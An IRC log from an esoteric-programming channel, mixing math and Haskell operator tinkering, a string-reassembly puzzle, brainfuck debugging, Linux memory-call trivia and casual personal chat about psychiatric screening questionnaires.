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08:51:17 <hppavilion[1]> oerjan: Is there a hypermodulus for roots and logs that works something like mlog(2, 9)=1?
08:51:38 <zzo38> (Another kind of correspondence could be: Add one to the last element of the list (if any), make Godel encoding of the sequence, and then subtract one from the answer.)
08:52:13 <oerjan> hppavilion[1]: i have no idea what you mean by that.
08:53:04 <hppavilion[1]> oerjan: hypermodulus is like <hypermod>:log|root :: %:/
08:53:52 <oerjan> pretty sure the : isn't normally included.
08:54:13 <hppavilion[1]> oerjan: Oh, the : was because it was an Aristotilean analogy clause
08:54:30 <hppavilion[1]> by mlog(2, 9)=1 I meant that the modular log[2] of 9 is equal to 1, because 2**3=8 and 9=8-1
08:54:44 <oerjan> finally an actual definition
08:55:42 <hppavilion[1]> It's basically the remainder of integer logarithms or roots. If that makes any sense.
08:56:15 <oerjan> could you describe how to calculate mlog(m, n)
08:57:34 <hppavilion[1]> oerjan: The inefficient way is to, starting with x=0, increment x by m until x+m>n, then to return n-m
08:57:43 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45585&oldid=45581 * Quintopia * (-6) /* Python 2 */ Moved file loading to the Purple class to make it easy to use when imported as a module.
08:57:57 <hppavilion[1]> Not increment by x, you start with x=1 and multiply by x
08:58:20 <hppavilion[1]> Of course, that doesn't account for x <= 0, but it's a start.
08:59:37 <oerjan> so basically you write n in base m and subtract 1 from the first digit?
09:00:40 <oerjan> (which is _larger_ than the power you're subtracting)
09:00:55 <oerjan> i don't see how this is particularly useful
09:00:59 <hppavilion[1]> I might've gotten my definition wrong; the point is that mlog like modulus, except it uses logarithms instead of division
09:02:26 <oerjan> modulus comes from a deep mathematical theory. it's not going to be very useful without it.
09:03:02 <oerjan> (basically, the modulus relation is a ring congruence)
09:04:17 <hppavilion[1]> Really, I'm just looking for something for the binary/infix ‰ operator in Kastor
09:05:33 <oerjan> the closest thing that i know is useful is discrete logarithm
09:06:07 <oerjan> however, that's not always defined, and you need to factorize to find it.
09:06:37 <mroman> If you implement operator precedence you might as well parse floats correctly
09:06:48 <mroman> seeing as implementing operater procedence is way harder than parsing floats
09:09:49 <mroman> also, you could define it not as "joining" but as uhm x + 1/y or something ;)
09:10:18 <mroman> which translates to 3.05
09:10:35 <hppavilion[1]> mroman: That was just a stupid idea; not something I'm going to use
09:10:56 <mroman> I'm just making suggestions for other stupid ideas :)
09:10:57 <hppavilion[1]> Also, I'm implementing in Python at least initially so...
09:11:21 <mroman> but that'd might solve the 3.05 problem ;)
09:11:39 <hppavilion[1]> Yes, but it would also be incredibly hard to know what you're doing
09:12:22 <mroman> I call it the backslash operator
09:12:39 <lambdabot> <hint>:1:3: parse error on input ‘\’
09:12:48 <mroman> oh right. You can't define that in haskell.
09:13:15 <lambdabot> ‘IM.\\’ (imported from Data.IntMap),
09:13:28 <mroman> @define (\\\) a b = a + (a / b)
09:13:35 <mroman> @define (\\\) a b = a + (1 / b)
09:13:37 <lambdabot> In an equation for ‘\\\’: \\\ a b = ...
09:13:44 <mroman> there's no redefine is there?
09:13:51 <mroman> @redefine (\\\) a b = a + (1 / b)
09:13:57 <lambdabot> There's currently no way to undefine just one thing. Say @undefine (with no extra words) to undefine everything.
09:14:16 <mroman> @define (\\\\) a b = a + (1 / b)
09:15:00 <mroman> This isn't too bad actually
09:16:08 <mroman> @define (\\\\\) a b = a + (b / a)
09:16:35 <mroman> I propose a language with only \\\\ operators .
09:16:51 <mroman> > (3 \\\\\ 20) \\\ 10 \\\\ 9
09:17:38 <lambdabot> cannot mix ‘\\\\’ [infixl 9] and prefix `-' [infixl 6] in the same i...
09:18:16 <mroman> at least you can do incs/decs quite conveniently
09:18:43 <mroman> > foldl1 (\\\) [1..10]
09:18:47 <mroman> > foldl1 (\\\\) [1..10]
09:18:53 <mroman> > foldl1 (\\\\\) [1..10]
09:19:00 <mroman> > foldl1 (\\\) [1..100]
09:19:08 <mroman> > foldl1 (\\\\) [1..100]
09:19:28 <mroman> does any of those converge at some point?
09:19:42 <mroman> maybe \\\\\ the others probably not.
09:19:59 <hppavilion[1]> mroman: Should I include the backslash operator in Kastor just as a reference no one will ever get? xD
09:21:37 <hppavilion[1]> mroman: Should I make it sinlge-backslash or triple-backslash?
09:24:18 <hppavilion[1]> I'm making "\\\" equal to a+(a/b) and calling it "mroman's folley"
09:24:31 <mroman> Well a\b should be a + (a /b), a\\b should be a + (1 / b) and a\\\b should be a + (b / a) ;)
09:24:50 <mroman> If you only implement one then use the a + (1 / b) one
09:25:00 <mroman> that's probably the most practical of those
09:28:13 <hppavilion[1]> mroman: I'm keeping them the way they were implemented here, partially because I'll likely never want to use the \\\ operator for anything else, but I might want the \
09:31:13 <hppavilion[1]> mroman: Should I exclusively define \\\\\\(\\(\\)?)? for INTs, or should I allow floats as arguments as well (NUM in general)?
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09:34:22 <lambdabot> <hint>:1:1: parse error on input ‘:’
09:39:01 <mroman> I call them the backslash operators of n-th order :D
09:39:09 <mroman> They probably don't have an official name
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09:41:11 <lambdabot> ENVA 210920Z 11005KT 7000 2000W SHSN FEW000 SCT009 BKN020 M03/M03 Q1001 TEMPO 0600 SHSN VV005 RMK WIND 670FT 17007KT
09:41:33 <lambdabot> KOAK 210853Z 03003KT 7SM MIFG FEW005 09/08 A3007 RMK AO2 SLP182 T00940083 58001
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10:08:28 <izabera> i have a string and several substrings of it
10:08:43 <izabera> i don't have the string, i have several substrings of it
10:08:56 <izabera> i need to recreate the original string
10:09:40 <izabera> it is known that at each step there is a pair of substrings with the maximal overlap, and i should join those
10:11:27 <izabera> so if i have ABCDEF, DEFG, BCDE, XYZABC and XCDEZ
10:12:09 <izabera> you could join ABCDEF with DEFG, but you mustn't because you have to join ABCDEF with BCDE
10:12:48 <izabera> what's an efficient way to do it?
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10:17:44 <izabera> i was working on this a few days ago and i kinda ignored it since then
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10:46:47 <Taneb> izabera: I don't see a way to do that nicely
10:47:54 <izabera> my not nice way is O(too^much)
10:48:59 <Taneb> That is probably similar to my not nice way
10:49:52 <Taneb> Ugh, I need to learn how to actually do things
10:50:54 <Taneb> I've tried that, it doesn't help
10:51:05 <Taneb> I think I have ADHD or something, I need to book an appointment or something to get that checked out
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11:20:02 <mroman> O(2^n) algorithms are actually pretty fast
11:20:12 <mroman> if your input size is 0 < n < 1
11:20:34 <int-e> this is wrong in so many ways
11:20:44 <mroman> I'm wrong in so many ways.
11:23:39 <mroman> but that's mostly due to me not having any notable academic degree :)
11:26:24 <int-e> that's not how academic degrees work...
11:30:17 <mroman> that's exactly how they work
11:30:26 <mroman> I you have one, you have been taught a lot of stuff
11:30:45 <mroman> I'd still be wrong in so many other ways.
11:32:55 <int-e> You'd still be a layperson about almost everything.
11:33:29 <int-e> "To err is human" goes really, really deep.
11:33:50 <mroman> youtube removed pretty much all the hogan's heroes episodes
11:33:57 <izabera> you can get multiple degrees
11:34:13 <int-e> izabera: right. drops in the desert
11:34:38 <int-e> izabera: if you're lucky you can create a small oasis
11:34:39 <izabera> with enough degrees there's not gonna be much left to be a layman about
11:34:53 <Jafet> Sand grains in the desert
11:34:56 <int-e> there's only so much time
11:35:03 <mroman> It's just that in the time I'd need to calculate 5-19 the exam will already be over :)
11:35:31 <mroman> otherwise I would have tried to get a degree
11:35:36 <int-e> how does time travel help? rejuvenation/immortality however...
11:35:52 <izabera> but you said there's only so much time
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11:36:02 <int-e> I meant personal time.
11:36:26 <int-e> time travel, as I understand it, doesn't prolong that
11:36:51 <izabera> but you surely can travel in the future so there's less research to do
11:37:17 <int-e> that means there would be even more to be ignorant about...
11:37:17 <mroman> Taneb: They are going to check me next thursday
11:37:34 <int-e> so actually, a time machine *would* work wonders, but you have to travel back in time.
11:37:37 <mroman> Not that I think I have ADHD
11:37:55 <mroman> but for insurance purposes they'll do some general testing.
11:39:15 <oerjan> int-e: did you see the last girl genius
11:40:23 <oerjan> obvious guess as to who is speaking in the last panel
11:41:57 <int-e> No guess, I haven't thought about it. It's been too long.
11:42:24 <Taneb> That makes perfect sense
11:42:46 <int-e> oh the dispensible indestructible superhero... makes sense
11:43:03 <mroman> (Actually they want me to screen for Aspergers)
11:43:43 * oerjan finally got to see in writing that he's actually diagnosed with Aspergers
11:43:48 <mroman> (I definitely don't have Aspergers. I'd know that.)
11:43:59 <mroman> And I'd know if I had ADHD.
11:44:15 <mroman> Why the hell wouldn't I know that?
11:44:41 <mroman> You can't really diagnose it past childhood anyway
11:44:48 * oerjan isn't sure the diagnosis was properly set. it was done in a bit of a hurry.
11:45:15 <mroman> The formal requirement is that symptoms must exist since early childhood.
11:45:21 <oerjan> or rather, i'm pretty sure it wasn't.
11:45:39 <mroman> and I'm pretty sure either my parents or a teacher would have picked up on signs if I had Aspergers.
11:45:43 <int-e> oerjan: anyway I'm still annoyed, I'd rather see progress on the Paris story ... above ground ...
11:46:24 <int-e> oerjan: but now it seems likely that that won't happen this year.
11:46:25 <oerjan> well i got the diagnosis because my Dad kept blathering about it, so obviously _he_ thought there had been signs - but it wasn't a known thing when i grew up.
11:46:31 <mroman> I'm more of a generally depressed/negative/anxious personality.
11:46:56 <oerjan> int-e: i'm wondering if they'll return and find the place already overrun with revenants
11:47:19 <oerjan> maybe that's what will get Gil there
11:47:34 <oerjan> mroman: i got that in my diagnosis too.
11:48:12 <int-e> hmm, is there another story arc that they could switch to? "meantime, in Sturmhalten castle ..."
11:48:15 <mroman> "Did you have trouble doing homework on time?" "I don't know. I never did homework."
11:48:21 <mroman> That interview is going to be awkward.
11:48:39 <int-e> I wanted "meanwhile"
11:49:30 <mroman> oerjan: Psychiatrists in the past kept wondering whether I have social phobia, AvPD, Asperger's, BPD, NPD etc.
11:50:02 <mroman> and now they want a formal diagnosis (because at some point the insurance company wants to know what the fuck is going on)
11:51:46 <oerjan> int-e: hm if Gil (and Klaus) don't know about Anevka being the other, she _might_ still be in control there.
11:52:26 <mroman> those standardized questionaires are highly inaccurate anyway.
11:52:27 <oerjan> which makes it unlikely that Gil doesn't...
11:52:35 <mroman> "Did you ever think about hurting someone?" [ ] Yes [ ] No
11:52:45 <mroman> If you cross yes, you'll get a point in Anti Social Behaviour
11:52:49 * oerjan wonders how well they can communicate when sharing a body...
11:52:55 <int-e> what kind of question is that...
11:53:19 <int-e> (don't answer that)
11:53:44 <int-e> [ ] Right now I want to stab whoever came up with this question.
11:53:45 <j-bot> int-e: |spelling error
11:53:45 <j-bot> int-e: | ] Right now I want to stab whoever came up with this question.
11:53:55 <int-e> uh. another prefix.
11:54:13 <mroman> int-e: That's how these work.
11:54:30 <mroman> They don't ask for "pathological" stuff, more for behaviours.
11:54:37 <mroman> Including if you have hurt animals as a chil
11:54:49 <mroman> I mean common... who hasn't done that at some point during childhood
11:55:01 <oerjan> mroman: more like if you cross No, you'll get a point in Lying.
11:55:04 <int-e> yes, it makes sense... but apparently they expect the answers to be filtered through social norms rather than being honest.
11:55:12 <mroman> They should ask "have you severly fucked up an animal other than maybe snakes or shitty animals like that"
11:55:28 <mroman> I've stepped on a snake on purpose as a child.
11:55:37 <mroman> so technically I have intentionally hurt an animal.
11:55:48 <int-e> or perhaps you're supposed to forget about such thoughts... oh well
11:57:09 <oerjan> sometimes i swat insects. and sometimes i carefully trap them in a glass to let them out unharmed. consistency, overrated...
11:57:31 <int-e> also... "I did hurt someone... it was an accident. I thought about it for a long time wondering how I could've avoided it." <-- does that count?
11:57:38 <mroman> http://image.slidesharecdn.com/rydera-g-costap-t-jr-bagbyr-m-2007-120826023040-phpapp02/95/trastornos-de-personalidadryder-2007-10-728.jpg?cb=1345948301
11:58:04 <mroman> "Are you afraid to try new things"
11:58:22 <mroman> but I guess that's pretty normal.
11:58:23 <int-e> trick question! there is no right answer!
11:58:29 <mroman> also it depends on that thing
11:59:39 <mroman> "... so devoted to work ..."
11:59:42 <mroman> I'm at work right now.
12:00:02 <mroman> and I use my vacation days and still go to work. Nobody notices.
12:02:03 <mroman> 119. before you were 13, did you often skip school?
12:02:06 <mroman> No, only morons do that :D
12:02:17 <mroman> or in other terms: Only cool kids skip school.
12:25:56 <oerjan> @tell hppavilion[1] function composition is associative hth
12:26:17 <oerjan> sometimes you have to beat it in before it sticks
12:27:41 <HackEgo> [U+2031 PER TEN THOUSAND SIGN]
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12:29:44 <oerjan> <zzo38> I made up the one to one correspondence of natural numbers with finite lists of natural numbers, which is sequence starting with: [] [0] [1] [0,0] [3] [0,1] [2] [0,0,0] [7] [0,3] [1,0] [0,0,1] [5] [0,2] [2,0] [0,0,0,0] [15] ... <-- is that the same as Taneb's
12:31:08 <oerjan> wait, [3] before [2]? oh well.
12:31:15 <int-e> huh... [] [0] [1] [0,0] [2] <-- expected a 2 here... and a 3 instead of the 7...
12:31:26 <boily> there are as many finite sequences of natural numbers than natural numbers?
12:31:30 * oerjan doesn't remember Taneb's, anyway
12:32:54 <Jafet> Is Taneb's one-to-one?
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12:33:12 <oerjan> hm if that [3] is a misprint then that's pretty much the "obvious" binary based one.
12:33:14 <boily> Taneb is isomorphic to His tanebventions.
12:33:38 <oerjan> possibly that's what Taneb also used.
12:34:12 <oerjan> you write the number in binary, and then take stretches of zeroes.
12:34:20 <oerjan> their lengths, that is.
12:35:13 <oerjan> so 5 -> 101 -> [0,1]. actually that doesn't tell which end he's starting from...
12:35:50 <int-e> 8 -> 0001 [7] ... confused.
12:36:17 <int-e> 10 -> 0101 [1,0] (yes I'm putting the lsb first)
12:36:23 <oerjan> hm zzo38 must be doing something differently
12:36:54 <oerjan> or wait [0,1] must start with lsb if it's to be 5.
12:37:27 <oerjan> this may be Taneb's we are describing.
12:38:32 <oerjan> well he applied it recursively, to get a list of lists of ...
12:39:03 <oerjan> int-e: pretty sure 10 should be [1,1]
12:39:17 <oerjan> mroman: the upcoming one
12:39:30 <oerjan> did they make a release candidate?
12:39:53 <mroman> I just randomly stumbled upon Typed.Spreadsheet
12:40:12 <oerjan> with this computer problem i may never be able to catch up to my haskell reading.
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12:40:51 <oerjan> anyway, ApplicativeDo is slated for 8.0.
12:41:51 <b_jonas> oerjan: which syntax is that?
12:43:07 <oerjan> normal do syntax, just reinterpreted as Applicative when possible
12:43:30 <mroman> I don't understand much of the fancy extensions anyway
12:43:40 <int-e> oh well, everything zzo38 says is a reverse engineering task... this is just another one I'll give up on
12:43:45 <oerjan> do x <- a; y <- b; return (f x y) --> liftA2 f a b
12:44:56 <int-e> oerjan: I'm not sure... note the odd encoding of [2] which is the same as concatenating the encodings of [0] and [1]. For a moment I thought he was mapping 1 bits to 0, and zero bits and eof to two-bit stings... but that's not right either.
12:46:48 <int-e> (in that idea, the true interpretation of [1] would be 010, which isn't a prefix of 011, the encoding of 1; this is compatible with the "odd" interpretation of 10, the concatenation of 010 = [1] and 1 = [0])
12:47:08 <int-e> s/the encoding of 1/the encoding of [2]/
12:48:53 <b_jonas> oerjan: so basically, that's possible when the library defines Monad to require Applicative?
12:49:02 <mroman> now I'm gonna screw with the global drug survey
12:49:12 <b_jonas> and is there also a Functor do?
12:49:20 <oerjan> i suppose that's a requirement
12:49:36 <oerjan> b_jonas: i dunno, seems reasonable but limited
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12:52:41 <int-e> http://sprunge.us/aAWf
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12:53:15 <int-e> (lsb first, and of course trailing zeros don't contribute to the encoding)
12:55:04 <mroman> "How easy would it be for you get it prescribed to you within the next 7 days?" Pretty easy :D
12:55:48 * Taneb has just picked up my copy of TAoCP from the post office
12:56:51 <Taneb> oerjan: zzo38's system looks similar to mine, but his is weird in some way I don't understand
12:57:01 <Taneb> oerjan: int-e has the right of it
12:57:11 <b_jonas> Taneb: which volume(s), what translation, and in dead tree or ebook?
12:57:13 * oerjan still has no idea what int-e means, either
12:57:29 <Taneb> b_jonas: it's in English, 1-4A, dead tree (hardback)
12:57:38 <oerjan> i might not be trying very hard.
12:57:47 <Taneb> If it was an ebook I could have saved some time and not walked to the post office
12:57:58 <Taneb> oerjan: the numbers are the distances between the bits
12:58:01 <int-e> oerjan: that paste lists the encodings of singleton lists (lsb first); to encode longer lists, you concatenate the corresponding singleton lists, then read off a natural number.
12:58:09 <Taneb> So 0d0 => 0b0 => []
12:58:24 <Taneb> 0d10 => 0b1010 => [1,1] I think
12:58:40 <int-e> so [0,1] --> 1 010 -> 5; [1,0] -> 010 1 -> 10
12:59:12 <oerjan> Taneb: i mean in zzo38's system
12:59:21 <Taneb> Oh, yeah, I have no idea what's up with that
12:59:25 <Taneb> Something to do with primes?
13:00:18 <int-e> [4] = 00101 = 24 comes after [15] = 000010000 = 16
13:01:12 <oerjan> so to decode the other way, you first see how many 0's the number starts with, and chop off twice as many bits + 1
13:01:26 <Taneb> I still have no idea what is going on
13:02:48 <oerjan> so it's a prefix-free encoding
13:02:59 <int-e> put differently, you encode n+1 in binary, and prefix that by 0 for each non-leading digit in the result. 4: encode 5: 101; it has 1+2 digits, so it becomes 00101
13:04:02 <int-e> (and then there's a bit reversal... yay)
13:04:36 <izabera> help im covered in chameleons and no one believes me
13:06:06 <int-e> sounds like a setup for a joke
13:06:32 <int-e> izabera: but if the first part is true, maybe IRC is not the right place to ask for help.
13:08:25 <int-e> So what happens when a chameleon sits on the invisible pink unicorn?
13:08:45 <FireFly> Maybe the chameleon becomes pink
13:11:49 <int-e> hmm I wonder what the ETA of volume 4B is
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13:12:56 <int-e> (sorry for dropping the chameleon question, but it seems that I have no arguments for either of the three obvious possibilities (ping, invisible, no change))
13:15:52 <mroman> How do you know it's pink when you can't see it?
13:16:32 <FireFly> Maybe it's pink on the inside
13:16:47 <int-e> because otherwise it wouldn't be the invisble pink unicorn, duh.
13:16:58 <mroman> but if it's invisible there's no observable colour.
13:17:12 <mroman> Ok, so it's pink under the surface.
13:17:28 <int-e> pink is part of its essence
13:17:30 <mroman> The chameleon can't see that the unicorn is pink.
13:18:54 <int-e> mroman: surely you must have heard of the invisible pink unicorn before...
13:19:05 <Jafet> It's ontologically pink, of course.
13:19:26 <Jafet> (How does anyone know that it's a unicorn, for that matter?)
13:19:31 <mroman> Not much of a unicorn fan.
13:19:39 <mroman> Although I have heard that scots seem to like unicorns.
13:19:45 <int-e> https://en.wikipedia.org/wiki/Invisible_Pink_Unicorn
13:19:59 <mroman> Jafet: You can touch it and get a rough estimate of it's shape.
13:20:07 <mroman> which gives you the shape of a unicorn.
13:20:47 <mroman> (assuming it somehow alters electromagnetic waves to make it invisible. So using x-ray might not work then)
13:22:29 <mroman> "It is common when discussing the Invisible Pink Unicorn to point out that because she is invisible, no one can prove that she does not exist"
13:22:32 <mroman> That is so unscientific.
13:22:48 <mroman> If it's just invisible doesn't mean it leaves no traces or does not reflect sound waves.
13:22:53 <int-e> (I like the IPU much better than the FSM; they both have equal right to exist, but the IPU is so much more poetic)
13:22:53 <mroman> (or produces sound waves for that matter)
13:23:29 <Taneb> How did they sex the invisible pink unicorn if she's invisible
13:23:47 <Jafet> Better leave that one unanswered.
13:25:04 <mroman> FSM makes way more sense than an invisible unicorn.
13:27:01 <b_jonas> no no, the invisible pink unicorn is much simpler than that
13:27:19 <b_jonas> it's just a unicorn that is shy and almost never shows himself in front of others
13:27:41 <b_jonas> so almost nobody has seen him, and the ones who have seen him generally aren't allowed to talk about it
13:27:53 <b_jonas> but we know he's pink for two reasons:
13:28:13 <b_jonas> 1. he does sometimes show his horn, which is pink, and most unicorns have the same body color as their horn,
13:28:29 <b_jonas> and 2. he can see himself, and says he's pink, and we trust him.
13:30:09 <b_jonas> (there's an alternative of course, namely that he's a unicorn represented as rgba without premultiplied alpha, so there's color data of him stored even in the fully transparent pixels.)
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14:02:11 <int-e> > "FSM" `compare` "IPU"
14:38:44 <b_jonas> As for these wiki formats that are supposed to be easy to use, I hate two things about the bbcode parser of phpBB:
14:39:55 <b_jonas> (1) it takes all newlines in the source code to mean a <br> in the output, so you must leave no newlines in foo [list][*] bar [*] bar [/list] foo [quote=someone] hi [/quote] or else you'll get ugly output with way too much vertical blank space,
14:40:09 <b_jonas> (2) it has no way to specify alternate text for images.
14:41:46 <b_jonas> I mean, mediawiki very rarely does this thing where extra newlines in the source result in extra lines in the output, but it comes up in very rare conditions only, not like around every list or something.
14:42:12 <b_jonas> Maybe I have to write some sort of html to bbcode transator for myself.
14:47:13 <Jafet> As the saying goes, it makes easy things easy and hard things impossible.
15:04:38 <b_jonas> ok, crazy question, why does linux 4.4 add an mlock2 system call rather than just adding a mode to madvise, which already has modes that do more than just advise.
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15:10:59 <Jafet> madvise(2): "This call does not influence the semantics of the application"...
15:17:43 <b_jonas> Jafet: that's the theory. no.
15:17:55 <b_jonas> Jafet: some modes of madvise and fadvise are like that, but not all
15:18:21 <b_jonas> s/fadvise/posix_fadvise/ or whatever it's called these days
15:19:20 <b_jonas> Jafet: MADV_NORMAL, MADV_RANDOM, MADV_SEQUENTIAL, MADV_WILLNEED are indeed only optimization advise,
15:21:03 <b_jonas> but MADV_DONTNEED does have semantics, it means what you wrote to that memory area can be discarded, MADV_REMOVE and MADV_DONTFORK and MADV_DOFORK similarly has semantics.
15:21:31 <Jafet> Well, DONTNEED only exists because people conflated address space and memory.
15:21:45 <b_jonas> you could say that some of those should be modes in mprotect rather than madvise, but whatever.
15:22:31 <b_jonas> I admit I'm not really familiar with the details of all this memory handling stuff, but I'm quite sure some modes of madvise can have semantics in Linux.
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17:11:24 <izabera> https://www.codeeval.com/open_challenges/77/ i'm not sure about a thing, help me out
17:12:00 <izabera> they say that every time i have to join the two words with the longest overlap
17:12:54 <izabera> ok so i joined two words in turn 1. now, next turn: will the longest overlap always be the new word + something?
17:13:53 <Taneb> ABCD, DEFG, MNO, NOP
17:14:04 <Taneb> First match makes ABCDEFG
17:14:06 <izabera> well but there must be an overlap
17:14:30 <Taneb> ABCD, DEFG, GMNO, NOP then
17:15:37 <izabera> now i'm being pedantic, but can you show an example in which joining the word i generated in turn 1 with something leads to an incorrect result?
17:17:09 <Taneb> ABCDE, CDEFG, GMNOP, MNOPQFG, FGX?
17:17:27 <Taneb> No, that's not right, but I think the principle's there
17:17:55 <b_jonas> fungot, did you join two words with the longest overlap?
17:19:13 <Jafet> They say that if at first you don't succeed, trie, trie, trie again.
17:21:53 <Taneb> It says that "Fragments must overlap at their start or end.", but also says ""ABCDEF" and "BCDE" overlap with overlap length 4" which doesn't overlap at the start or end of ABCDEF...
17:30:44 <quintopia> is this the "rebuild the secret message from lots of tiny scraps" challenge?
17:37:43 <izabera> there are two similar ones
17:38:27 <izabera> the other one is https://www.codeeval.com/open_challenges/185/
17:38:41 <Taneb> I've never done any of these, would you recommend them?
17:39:02 <izabera> all i know is that they're painful to do in bash
17:41:17 <Taneb> A lot of things are, to be fair
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17:52:45 <izabera> is it possible that a piece that didn't exist at the beginning (== it was created by joining two pieces) fits inside another piece that likewise didn't exists at the beginning?
17:55:09 <Taneb> ABC, DEF, BCD, DCE
17:59:29 <izabera> i was just wondering if i can just join all of them in a preliminary step and never check that case again
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18:24:19 <Taneb> Oh wow I am so nervous
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19:30:00 <zzo38> The [3] before [2] is not a mistake. Also it is not related to prime numbers, but the "Modified Godel Encoding" which I suggested afterward is related to prime numbers.
19:32:07 <HackEgo> [wiki] [[Brackit]] http://esolangs.org/w/index.php?diff=45586&oldid=45533 * Blakusl * (+138)
19:33:54 <quintopia> need more calories, liquid, and possibly caffeine
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20:20:07 <shachaf> http://slbkbs.org/dontclick.txt
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20:25:12 <HackEgo> [wiki] [[Joke language list]] http://esolangs.org/w/index.php?diff=45587&oldid=45217 * 114.78.113.191 * (+93) /* General languages */
20:28:20 <HackEgo> [wiki] [[C++]] N http://esolangs.org/w/index.php?oldid=45588 * 114.78.113.191 * (+77) Created page with "A language created by Bjarne Stroustrup as a joke, but later got out of hand."
20:33:01 <HackEgo> [wiki] [[Joke language list]] http://esolangs.org/w/index.php?diff=45589&oldid=45587 * 114.78.113.191 * (+62) /* General languages */
20:43:22 <shachaf> something like ben-kiki but snazzier
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21:12:12 <\oren\> should I have bacon and cookies for dinner?
21:14:56 <quintopia> it's not a full dinner unless its cookies baked with bacon, or encrusted in bacon crumbles
21:17:03 <\oren\> argh. maybe I'll get pizza.
21:17:27 <\oren\> pizza is always good in this neighbourhood (I live in the centre of little italy)
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22:10:13 <Doxin> so why would this program be an infinite loop: ++++++++++>++++++++++++[-<[->>+>+<<<]>>>[-<<<+>>>]<[->>+<<]<]>>>. ?
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22:15:48 <Doxin> tswett: that aimed at me?
22:18:26 <int-e> in brainfuck? it's not an infinite loop; it prints an 'x', apperently
22:18:54 <tswett> Silly notation: 10+ > 12+ [ - < dump(2R, 3R) >>> dump(3L) < dump(2R) < ]
22:18:55 <Doxin> well I must have been using a broken interpreter then
22:19:07 <tswett> Which I made up just now and which isn't very good.
22:19:51 <Doxin> tswett: interestingly enough that bf code was generated from this: http://paste.pound-python.org/show/RyvonUvzf8BpWfFPXvDM/
22:19:52 <int-e> (it computes 10*12)
22:21:00 <Doxin> int-e: that's the intention
22:21:17 <Doxin> so anyone know a good brainfuck interpreter that'll work on linux? https://www.youtube.com/watch?v=_iSRYfV_toY
22:23:03 <tswett> t[0] = 10; t[1] = 12; while (t[1]) { t[1]--; t[2] += t[0]; t[3] += t[0]; t[0] = 0; t[0] = t[3]; t[3] = 0; t[4] += t[2]; t[2] = 0 }; print(t[4])
22:23:10 <tswett> That can be simplified, obviously.
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22:30:57 <int-e> https://esolangs.org/wiki/Brainfuck_implementations is quite an impressive list
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22:41:02 <Doxin> next question: how do I go about doing indirect lookups without losing track of where the memory pointer is pointing?
22:41:06 <Doxin> indirection is hard
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22:46:16 <tswett> Leave a marker behind.
22:46:41 <Doxin> that seems prone to failure
22:46:49 <tswett> Not if you do it perfectly.
22:47:02 <tswett> You can't pack the tape with payload data; some of it will have to be reserved for navigation data instead.
22:47:19 <tswett> One common approach, I think, is to just alternate. One cell of payload, one cell of navigation, and so forth.
22:47:46 <Doxin> still doesn't tell me how to actually do it though
22:48:10 <oerjan> in the mathematical sense
22:48:36 <oerjan> where it means "possibly a lot of work but requires no real new ideas"
22:48:48 <tswett> Well, here's one technique.
22:49:06 <tswett> Figure out what your pointer is. Leave a marker in one navigation cell. Put your pointer into the other navigation cell.
22:49:31 <tswett> Now, repeatedly copy the pointer to the next navigation cell, subtracting one each time.
22:49:38 <tswett> One it hits zero, you're there, more or less.
22:49:43 <Doxin> ah, that's sensible
22:49:52 <tswett> Then, when you want to go back, just look for the marker.
22:50:41 <oerjan> that has the disadvantage that it won't work for unbounded distance with bounded cells
22:51:05 <int-e> but you can leave bookmarks behind
22:52:25 <oerjan> bookmarks are simpler when you don't need actual heaps of pointers
22:52:53 <int-e> oerjan: do I misremeber or did you (plan to, perhaps) implement a linear slowdown brainfuck self-interpreter that moves its state along the tape?
22:52:56 <Doxin> tswett: that does limit your address size to the cell size
22:53:16 <oerjan> int-e: i thought about its design, no actual implementation
22:53:51 <oerjan> because all the usual interpreters don't have eigenratios because they're slowdown is quadratic
22:54:04 <oerjan> or rather, dependent on tape length
22:55:45 <tswett> Yeah, if you want to be able to access an *infinite* amount of memory (rather than a practically unlimited amount of memory), pointers don't really do the trick any more.
22:56:02 <tswett> Well, I mean, I guess they do.
22:56:16 <tswett> It's just that you'll have to do some weird stuff.
22:56:39 <tswett> Like variable-size pointers. If you want to address more memory than your pointers can currently address, then make pointers bigger.
22:56:59 <tswett> Double the size of your memory words.
22:57:20 <tswett> Of course, that's going to require copying *all* of your memory (except maybe the first word) to a different location.
22:57:22 <int-e> so anyway, yes, simulating a heap with pointers directly is a challenge. there's no doubt that it can be done in principle, but it's a mess.
22:57:26 <Doxin> tswett: I don't really care about infinite
22:57:31 <Doxin> tswett: I care about reasonable
22:57:53 <tswett> Well, if you can use one cell to represent an 8-bit number, you can use eight cells to represent a 64-bit number.
22:57:58 <tswett> Or 32-bit or whichever.
22:59:08 <int-e> (and if that's still boring you can think about making memory access faster by caching recently used cells nearby... *ducks*)
23:00:00 <tswett> Now, I wonder how you can serialize a graph as a sequence of symbols, without using ID strings.
23:00:15 <tswett> And such that a Turing machine can reasonably operate on it.
23:00:36 <int-e> (a "simple" memory access implementation will be linear, at best, in the address being accessed)
23:00:51 <int-e> linear time, that is
23:01:10 <int-e> (and it's much more likely to be quadratic)
23:02:22 <tswett> I guess what makes the most sense to me is to serialize it as some sort of list of instructions for constructing the graph.
23:04:48 <tswett> Start with a node, remember this node, dig, dig, dig, dig, dig to the remembered node, dig, remember this node, dig, dig, dig, dig, dig to the remembered node, follow this edge, that edge, blah blah blah.
23:05:05 <tswett> I was actually going somewhere with that and then I decided to give up.
23:05:55 <tswett> Y'know what, screw it, I'm going to come up with a complete list of instructions.
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23:07:30 <hppavilion[1]> Ok, for the Arithmetic of the Functia I've defined a way that all real numbers and acceptable substitutes are a subset of functions
23:08:26 <hppavilion[1]> (Acceptable substitutes include naturals, integers, reals, complexes, surreals, surcomplexes, quaternions, octonions, sedenions, matrices of the aforementioned, etc.)
23:09:21 <tswett> Start with a node, remember this node, dig a blue edge, dig a green edge, dig a red edge, dig a blue edge, dig a green edge to the remembered node, dig a red edge, remember this node, dig green, dig pink, dig blue, dig pink, dig blue to the remembered node, follow the green edge, remember this node, follow green, follow red, follow blue, follow green, dig blue to remembered, follow pink, remember, follow pink, follow blue, follow red, follow blue, dig
23:09:21 <tswett> red to remembered, follow blue, remember, follow blue, pink, blue, green, dig red to remembered, follow pink, remember, follow pink, red, green, red, dig green to remembered.
23:09:28 <HackEgo> [wiki] [[Special:Log/delete]] delete * Oerjan * deleted "[[C++]]": I'll just quote ehird from the previous Deletion log item: "I can't wait for the third time I delete this page"
23:11:01 <HackEgo> [wiki] [[Joke language list]] http://esolangs.org/w/index.php?diff=45590&oldid=45589 * Oerjan * (-155) This page is not a joke, even if its contents are. Er...
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23:15:13 <oerjan> tswett: how are the colors not IDs tdnh
